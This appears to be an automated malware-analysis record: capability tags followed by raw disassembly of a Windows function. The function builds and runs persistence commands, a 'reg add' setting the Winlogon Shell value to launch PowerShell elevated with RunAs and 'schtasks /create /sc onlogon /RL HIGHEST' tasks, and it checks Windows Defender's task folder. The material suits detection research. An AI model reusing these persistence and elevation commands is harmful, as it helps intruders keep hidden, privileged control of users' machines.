Function at 0x14001bf00
Capabilities:
Create directory
Create process on windows
Execute command
Persist via run registry key
Persist via winlogon helper dll registry key
Schedule task via schtasks
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x280]
sub rsp, 0x380
mov rax, qword [0x14002c028]
xor rax, rsp
mov qword [rbp + 0x278], rax
xor r13d, r13d
mov rdi, qword [0x14002c0a0]
lea rdx, [0x14002c088]
mov rsi, qword [0x14002c088]
cmp rdi, 0x10
cmovae rdx, rsi
mov r14, qword [0x14002c240]
lea rcx, [0x14002c228]
mov r15, qword [0x14002c228]
cmp r14, 0x10
cmovae rcx, r15
mov rbx, qword [0x14002c238]
mov r12, qword [0x14002c098]
cmp rbx, r12
jne 0x14001bf94
mov r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14001bfaf
lea rdx, [0x14002c168]
lea rcx, [0x14002c228]
call fcn.14000ddb0
test al, al
je 0x14001d6f2
xorps xmm0, xmm0
movups xmmword [rbp + 0x238], xmm0
movdqa xmm1, xmmword [0x140025670]
movdqu xmmword [rbp + 0x248], xmm1
mov byte [rbp + 0x238], r13b
movups xmmword [rbp + 0x1b8], xmm0
movdqu xmmword [rbp + 0x1c8], xmm1
mov byte [rbp + 0x1b8], 0
movups xmmword [rbp + 0x178], xmm0
mov qword [rbp + 0x188], r13
mov qword [rbp + 0x190], 0xf
mov byte [rbp + 0x178], 0
lea rdx, [0x14002c088]
cmp rdi, 0x10
cmovae rdx, rsi
lea rcx, [0x14002c228]
cmp r14, 0x10
cmovae rcx, r15
cmp rbx, r12
jne 0x14001c051
mov r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14001c051
lea rdx, [0x14002c168]
lea rcx, [rbp + 0x1b8]
call fcn.14000ce50
lea rdx, [0x14002c0a8]
jmp 0x14001c082
lea rdx, [0x14002c168]
lea rcx, [0x14002c228]
call fcn.14000ddb0
test al, al
je 0x14001c08e
lea rdx, [0x14002c088]
lea rcx, [rbp + 0x1b8]
call fcn.14000ce50
lea rdx, [0x14002c0c8]
lea rcx, [rbp + 0x178]
call fcn.14000ce50
lea rdx, [0x14002c348]
lea rcx, [rbp + 0x258]
call fcn.14000cf70
nop
movabs r12, 0x7fffffffffffffff
mov r13d, 0x16
lea r14, [r13 - 0x17]
nop word [rax + rax]
lea rdx, [rbp + 0x258]
lea rcx, [rbp + 0x128]
call fcn.14000cf70
mov rcx, rax
call fcn.140002e90
test al, al
je 0x14001c13d
mov rax, qword [0x14002c100]
cmp rax, 3
jb 0x14001c125
lea rbx, [0x14002c0e8]
cmp rax, 0x10
cmovae rbx, qword [0x14002c0e8]
mov qword [reloc.OLEAUT32.dll_SysReAllocString], 3
mov r8d, 3
lea rdx, [0x1400238ec]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 3], 0
jmp 0x14001c13d
lea r9, [0x1400238ec]
mov edx, 3
lea rcx, [0x14002c0e8]
call fcn.140001b30
lea rcx, [0x14002c0e8]
cmp qword [0x14002c100], 0x10
cmovae rcx, qword [0x14002c0e8]
mov r8, qword [reloc.OLEAUT32.dll_SysReAllocString]
cmp r8, 2
jne 0x14001d641
lea rdx, [0x1400238e8]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14001d641
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0x90]
call fcn.14000cf70
mov rdx, rax
call fcn.140003cc0
cmp eax, 1
jge 0x14001c2f7
lea rcx, [rbp + 0x178]
cmp qword [rbp + 0x190], 0x10
cmovae rcx, qword [rbp + 0x178]
lea rdx, [rbp + 0x128]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
je 0x14001c24d
lea rax, [rsp + 0x70]
mov qword [rbp - 0x70], rax
lea rdx, [rbp + 0x178]
lea rcx, [rsp + 0x70]
call fcn.14000cf70
mov rbx, rax
lea rdx, str.NONE
lea rcx, [rbp + 0xd0]
call fcn.14000cf70
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x128]
call fcn.140003110
mov rdx, qword [rbp + 0x140]
cmp rdx, 0x10
jb 0x14001c24d
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c248
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d651
call fcn.14001f0bc
lea rdx, [rbp + 0x178]
lea rcx, [rbp + 0x128]
call fcn.14000cf70
mov rbx, rax
mov qword [rsp + 0x48], rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x14001c275
mov rcx, qword [rax]
call fcn.14001fe40
mov rdi, rax
mov rcx, rax
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14001c2c1
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14001c2bc
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14001d658
mov rcx, r8
call fcn.14001f0bc
xor r15d, r15d
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r15b
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r15
xor r9d, r9d
mov r8, rdi
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x14001c2fa
xor r15d, r15d
lea rdx, [0x14002c308]
lea rcx, [rbp + 0x1f8]
call fcn.14000cf70
nop
lea rcx, [rbp + 0x1f8]
cmp qword [rbp + 0x210], 0x10
cmovae rcx, qword [rbp + 0x1f8]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], r15
mov qword [rbp + 0x108], r15
lea rsi, [0x14002c388]
cmp qword [0x14002c3a0], 0x10
cmovae rsi, qword [0x14002c388]
mov rdi, qword [0x14002c398]
cmp rdi, r12
ja 0x14001d722
mov qword [rbp + 0x108], 0xf
cmp rdi, 0x10
jae 0x14001c39c
mov qword [rbp + 0x100], rdi
mov r8d, 0x10
mov rdx, rsi
lea rcx, [rbp + 0xf0]
call sub.VCRUNTIME140.dll_memmove
jmp 0x14001c42c
mov rbx, rdi
or rbx, 0xf
cmp rbx, r12
jbe 0x14001c3ad
mov rbx, r12
jmp 0x14001c3b5
cmp rbx, 0x16
cmovb rbx, r13
mov rcx, rbx
add rcx, 1
cmovb rcx, r14
cmp rcx, 0x1000
jb 0x14001c3f8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001d728
mov rcx, rax
call fcn.14001f080
mov rcx, rax
test rax, rax
je 0x14001d6e4
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14001c407
test rcx, rcx
je 0x14001c404
call fcn.14001f080
jmp 0x14001c407
mov rax, r15
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0x100], rdi
mov qword [rbp + 0x108], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
lea rcx, [rbp + 0xf0]
cmp qword [rbp + 0x108], 0x10
cmovae rcx, qword [rbp + 0xf0]
lea rdx, [rbp + 0x128]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
je 0x14001c4dd
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0xf0]
lea rcx, [rsp + 0x70]
call fcn.14000cf70
mov rbx, rax
lea rdx, str.NONE
lea rcx, [rbp + 0xd0]
call fcn.14000cf70
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x128]
call fcn.140003110
mov rdx, qword [rbp + 0x140]
cmp rdx, 0x10
jb 0x14001c4dd
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c4d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d65f
call fcn.14001f0bc
lea rdx, [0x14002c168]
lea rcx, [rbp + 0x128]
call fcn.14000cf70
mov rdx, rax
call fcn.140003cc0
mov r14d, eax
lea rdx, [0x14002c168]
cmp qword [0x14002c180], 0x10
cmovae rdx, qword [0x14002c168]
cmp qword [0x14002c240], 0x10
setae sil
lea rcx, [0x14002c228]
mov rdi, qword [0x14002c228]
cmovae rcx, rdi
mov rbx, qword [0x14002c238]
cmp rbx, qword [0x14002c178]
jne 0x14001c54c
mov r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14001c598
lea rdx, [0x14002c088]
cmp qword [0x14002c0a0], 0x10
cmovae rdx, qword [0x14002c088]
lea rcx, [0x14002c228]
test sil, sil
cmovne rcx, rdi
cmp rbx, qword [0x14002c098]
jne 0x14001c6f1
mov r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14001c6f1
cmp r14d, 1
jge 0x14001c6f1
lea rdx, [0x14002c148]
lea rcx, [rbp + 0x128]
call fcn.14000cf70
mov rdx, rax
call fcn.140003cc0
cmp eax, 1
jge 0x14001c6f1
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xc8], r15
lea rsi, [rbp + 0xf0]
cmp qword [rbp + 0x108], 0x10
cmovae rsi, qword [rbp + 0xf0]
mov rdi, qword [rbp + 0x100]
cmp rdi, r12
ja 0x14001d734
mov qword [rbp + 0xc8], 0xf
cmp rdi, 0x10
jae 0x14001c62d
mov qword [rbp + 0xc0], rdi
mov r8d, 0x10
mov rdx, rsi
lea rcx, [rbp + 0xb0]
call sub.VCRUNTIME140.dll_memmove
jmp 0x14001c6c3
mov rbx, rdi
or rbx, 0xf
cmp rbx, r12
jbe 0x14001c63e
mov rbx, r12
jmp 0x14001c646
cmp rbx, 0x16
cmovb rbx, r13
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x14001c690
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001d72e
mov rcx, rax
call fcn.14001f080
mov rcx, rax
test rax, rax
je 0x14001d666
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14001c69f
test rcx, rcx
je 0x14001c69c
call fcn.14001f080
jmp 0x14001c69f
mov rax, r15
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xc0], rdi
mov qword [rbp + 0xc8], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0xb0]
call fcn.1400025a0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r15
xor r9d, r9d
mov r8, rax
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], 6
mov qword [rbp - 0x78], 0xf
mov eax, dword [str.STATUS]
mov dword [rsp + 0x70], eax
movzx eax, word [0x140023a40]
mov word [rsp + 0x74], ax
mov byte [rsp + 0x76], 0
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x218]
call fcn.1400058c0
nop
mov qword [rbp + 0xd8], r15
mov qword [rbp + 0xe0], 7
mov qword [rbp + 0xe8], 0xf
mov eax, dword [str.DISABLE]
mov dword [rbp + 0xd0], eax
movzx eax, word [0x140023aec]
mov word [rbp + 0xd4], ax
movzx eax, byte [0x140023aee]
mov byte [rbp + 0xd6], al
mov byte [rbp + 0xd7], 0
lea rcx, [rbp + 0xd0]
call fcn.140008e80
lea rcx, [rbp + 0x218]
mov r13, qword [rbp + 0x230]
cmp r13, 0x10
setae byte [rsp + 0x40]
mov r12, qword [rbp + 0x218]
cmovae rcx, r12
mov r8, qword [rbp + 0x228]
cmp r8, 2
jne 0x14001c855
lea rdx, [0x140023ae4]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14001c855
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], 7
mov qword [rbp - 0x50], 0xf
mov eax, dword [str.DISABLE]
mov dword [rbp - 0x68], eax
movzx eax, word [0x140023aec]
mov word [rbp - 0x64], ax
movzx eax, byte [0x140023aee]
mov byte [rbp - 0x62], al
mov byte [rbp - 0x61], 0
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x70]
call fcn.1400058c0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x14001c855
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c850
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d66d
call fcn.14001f0bc
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], 1
mov qword [rbp - 8], 0xf
mov word [rbp - 0x20], 0x31
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], 1
mov qword [rbp + 0x18], 0xf
mov word [rbp], 0x31
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], 1
mov qword [rbp + 0x38], 0xf
mov word [rbp + 0x20], 0x31
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], 1
mov qword [rbp + 0x58], 0xf
mov word [rbp + 0x40], 0x31
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov edx, 4
lea rcx, [rsp + 0x50]
call fcn.14000ece0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rdi, [rbp - 0x20]
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov rbx, qword [rsp + 0x50]
mov qword [rbp + 0xb0], rbx
mov qword [rbp + 0xb8], rbx
lea rax, [rsp + 0x50]
mov qword [rbp + 0xc0], rax
mov rdx, rdi
mov rcx, rbx
call fcn.14000cf70
add rbx, 0x20
mov qword [rbp + 0xb8], rbx
add rdi, 0x20
lea rax, [rbp + 0x60]
cmp rdi, rax
jne 0x14001c911
mov rdx, rbx
mov rcx, rbx
call fcn.14000e520
mov qword [rsp + 0x58], rbx
lea rcx, [rsp + 0x50]
call fcn.140009bf0
nop
lea r9, [fcn.140001970]
mov edx, 0x20
lea r8d, [rdx - 0x1c]
lea rcx, [rbp - 0x20]
call fcn.14001f26c
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d8], xmm0
mov ecx, 0x40
call fcn.14001f080
mov rbx, rax
mov qword [rbp + 0x1d8], rax
mov qword [rbp + 0x1e8], 0x3a
mov qword [rbp + 0x1f0], 0x3f
movups xmm0, xmmword [str.HKCUSOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140025208]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x140025218]
movups xmmword [rax + 0x20], xmm0
movsd xmm1, qword [0x140025228]
movsd qword [rax + 0x30], xmm1
movzx ecx, word [0x140025230]
mov word [rax + 0x38], cx
mov byte [rax + 0x3a], 0
lea rdx, [0x14002c388]
lea rcx, [rbp + 0x198]
call fcn.14000cf70
nop
mov qword [rsp + 0x30], 0x3a
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], 9
lea r9, str.reg_add__
lea rcx, [rsp + 0x70]
call fcn.14000f020
nop
mov r8d, 0x58
lea rdx, str.___v__Shell___t_REG_SZ__d__explorer.exe__powershell__command__Start_Process__FilePath_
lea rcx, [rsp + 0x70]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x198]
cmp qword [rbp + 0x1b0], 0x10
cmovae rdx, qword [rbp + 0x198]
mov r8, qword [rbp + 0x1a8]
lea rcx, [rsp + 0x50]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xc8], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x19
lea rdx, str.__Verb_RunAs____f___nul
lea rcx, [rbp + 0xb0]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x158], xmm0
mov qword [rbp + 0x168], r15
mov qword [rbp + 0x170], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x158], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x168], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x14001cb58
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cb53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d674
call fcn.14001f0bc
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xc8], 0xf
mov byte [rbp + 0xb0], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x14001cbae
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cba9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d67b
call fcn.14001f0bc
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x14001cbfd
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cbf8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d682
call fcn.14001f0bc
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
lea rcx, [rbp + 0x158]
cmp qword [rbp + 0x170], 0x10
cmovae rcx, qword [rbp + 0x158]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], rax
lea rax, [rbp + 0x128]
mov qword [rsp + 0x48], rax
movups xmmword [rbp + 0x128], xmm0
mov qword [rbp + 0x138], 4
mov qword [rbp + 0x140], 0xf
mov dword [rbp + 0x128], 0x4e414353
mov byte [rbp + 0x12c], 0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x30], 0xf
mov ecx, 0x30
call fcn.14001f080
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x38], 0x23
mov qword [rbp - 0x30], 0x2f
movups xmm0, xmmword [str.MicrosoftWindowsWindows_Defender]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400255b0]
movups xmmword [rax + 0x10], xmm1
movzx ecx, word [0x1400255c0]
mov word [rax + 0x20], cx
movzx ecx, byte [0x1400255c2]
mov byte [rax + 0x22], cl
mov byte [rax + 0x23], 0
lea r8, [rbp + 0x128]
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x110]
call fcn.140006460
nop
mov rbx, qword [rbp + 0x110]
mov rdi, qword [rbp + 0x118]
cmp rbx, rdi
je 0x14001cd63
mov r14, qword [0x14002c140]
mov rsi, qword [0x14002c138]
mov r15, qword [0x14002c128]
nop dword [rax]
nop dword [rax + rax]
lea rdx, [0x14002c128]
cmp r14, 0x10
cmovae rdx, r15
mov rcx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14001cd3c
mov rcx, qword [rbx]
mov r8, qword [rbx + 0x10]
cmp r8, rsi
jne 0x14001cd4e
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14001cd57
add rbx, 0x20
cmp rbx, rdi
jne 0x14001cd20
xor r15d, r15d
cmp rbx, rdi
jne 0x14001cff3
mov rcx, qword [0x14002c1f8]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 0x22
jb 0x14001d73a
lea rax, [0x14002c1e8]
cmp qword [0x14002c200], 0x10
cmovae rax, qword [0x14002c1e8]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x22
lea r9, str.schtasks__create__sc_onlogon__tn__
lea rcx, [rsp + 0x70]
call fcn.14000f020
nop
mov r8d, 8
lea rdx, str.___tr__
lea rcx, [rsp + 0x70]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x14002c0a8]
lea rcx, [rsp + 0x50]
call fcn.14000cdc0
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xc8], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x17
lea rdx, str.___RL_HIGHEST__f___nul
lea rcx, [rbp + 0xb0]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xe8], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x14001cee9
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cee4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d689
call fcn.14001f0bc
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xc8], 0xf
mov byte [rbp + 0xb0], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x14001cf3f
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cf3a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d690
call fcn.14001f0bc
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x14001cf8e
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cf89
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d697
call fcn.14001f0bc
lea rcx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0x10
cmovae rcx, qword [rbp + 0xd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x14001cfec
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cfe7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d69e
call fcn.14001f0bc
mov rdi, qword [rbp + 0x118]
mov rbx, qword [rbp + 0x110]
cmp rbx, rdi
je 0x14001d060
mov r14, qword [0x14002c120]
mov rsi, qword [0x14002c118]
mov r15, qword [0x14002c108]
nop dword [rax]
nop dword [rax + rax]
lea rdx, [0x14002c108]
cmp r14, 0x10
cmovae rdx, r15
mov rcx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14001d03c
mov rcx, qword [rbx]
mov r8, qword [rbx + 0x10]
cmp r8, rsi
jne 0x14001d04e
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14001d057
add rbx, 0x20
cmp rbx, rdi
jne 0x14001d020
cmp rbx, rdi
jne 0x14001d2e8
mov rcx, qword [0x14002c1d8]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 0x22
jb 0x14001d740
lea rax, [0x14002c1c8]
cmp qword [0x14002c1e0], 0x10
cmovae rax, qword [0x14002c1c8]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x22
lea r9, str.schtasks__create__sc_onlogon__tn__
lea rcx, [rsp + 0x70]
call fcn.14000f020
nop
mov r8d, 8
lea rdx, str.___tr__
lea rcx, [rsp + 0x70]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xor ebx, ebx
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
lea rdx, [0x14002c0c8]
lea rcx, [rsp + 0x50]
call fcn.14000cdc0
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], rbx
mov qword [rbp + 0xc8], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
lea r8d, [rbx + 0x17]
lea rdx, str.___RL_HIGHEST__f___nul
lea rcx, [rbp + 0xb0]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], rbx
mov qword [rbp + 0xe8], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x14001d1e3
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d1de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d6a5
call fcn.14001f0bc
mov qword [rbp + 0xc0], rbx
mov qword [rbp + 0xc8], 0xf
mov byte [rbp + 0xb0], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x14001d239
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d234
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d6ac
call fcn.14001f0bc
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x14001d288
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d283
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d6b3
call fcn.14001f0bc
lea rcx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0x10
cmovae rcx, qword [rbp + 0xd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x14001d2ea
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d2e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d6ba
call fcn.14001f0bc
jmp 0x14001d2ea
xor ebx, ebx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xb0]
mov qword [rbp - 0x70], rax
lea rax, [rsp + 0x50]
mov qword [rbp + 0x60], rax
xorps xmm0, xmm0
